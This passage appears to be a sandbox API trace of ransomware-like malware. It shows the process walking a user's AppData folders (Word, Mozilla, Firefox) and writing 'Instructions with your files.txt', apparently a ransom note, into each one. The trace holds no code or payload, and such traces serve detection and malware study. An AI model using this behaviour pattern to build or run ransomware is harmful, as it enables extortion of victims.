[0131.488] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.488] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.488] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.488] CloseHandle (hObject=0x11c) returned 1
[0131.489] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.489] GetProcessHeap () returned 0x810000
[0131.489] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.489] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27c7d150, ftCreationTime.dwHighDateTime=0x1d3aaba, ftLastAccessTime.dwLowDateTime=0x27c7d150, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27c7d150, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 0
[0131.489] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\Instructions with your files.txt") returned 97
[0131.489] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\word\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.489] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.490] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.490] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.490] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.490] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.490] CloseHandle (hObject=0x118) returned 1
[0131.490] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.490] GetProcessHeap () returned 0x810000
[0131.490] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.491] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f71aa70, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x27c7d150, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27c7d150, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 0
[0131.491] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Instructions with your files.txt") returned 92
[0131.492] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.492] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.493] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.493] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.493] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.493] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.493] CloseHandle (hObject=0x114) returned 1
[0131.493] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.493] GetProcessHeap () returned 0x810000
[0131.493] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.493] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
[0131.493] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla") returned 57
[0131.493] GetProcessHeap () returned 0x810000
[0131.494] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.494] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\*") returned 59
[0131.494] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.494] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\.") returned 59
[0131.494] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.495] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\..") returned 60
[0131.495] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1
[0131.495] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions") returned 68
[0131.495] GetProcessHeap () returned 0x810000
[0131.495] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.495] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\*") returned 70
[0131.495] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.496] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\.") returned 70
[0131.496] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.496] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\..") returned 71
[0131.496] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.496] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\Instructions with your files.txt") returned 101
[0131.496] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Extensions\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\extensions\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.496] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.497] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.497] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.497] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.497] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.498] CloseHandle (hObject=0x118) returned 1
[0131.498] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.498] GetProcessHeap () returned 0x810000
[0131.498] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.498] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1
[0131.498] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox") returned 65
[0131.498] GetProcessHeap () returned 0x810000
[0131.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.498] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\*") returned 67
[0131.498] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.499] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\.") returned 67
[0131.499] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.499] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\..") returned 68
[0131.499] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crash Reports", cAlternateFileName="CRASHR~1")) returned 1
[0131.499] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned 79
[0131.499] GetProcessHeap () returned 0x810000
[0131.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.500] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*") returned 81
[0131.500] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.501] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\.") returned 81
[0131.501] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.501] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\..") returned 82
[0131.501] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallTime20131025151332", cAlternateFileName="INSTAL~1")) returned 1
[0131.501] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20131025151332") returned 105
[0131.501] StrStrIW (lpFirst="InstallTime20131025151332", lpSrch="SDfghjkl") returned 0x0
[0131.501] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallTime20131025151332", cAlternateFileName="INSTAL~1")) returned 0
[0131.501] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\Instructions with your files.txt") returned 112
[0131.501] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\crash reports\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.501] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.502] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.502] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.502] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.502] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.503] CloseHandle (hObject=0x11c) returned 1
[0131.503] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.503] GetProcessHeap () returned 0x810000
[0131.503] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.503] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
[0131.503] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 74
[0131.503] GetProcessHeap () returned 0x810000
[0131.503] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.503] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*") returned 76
[0131.503] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.504] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.") returned 76
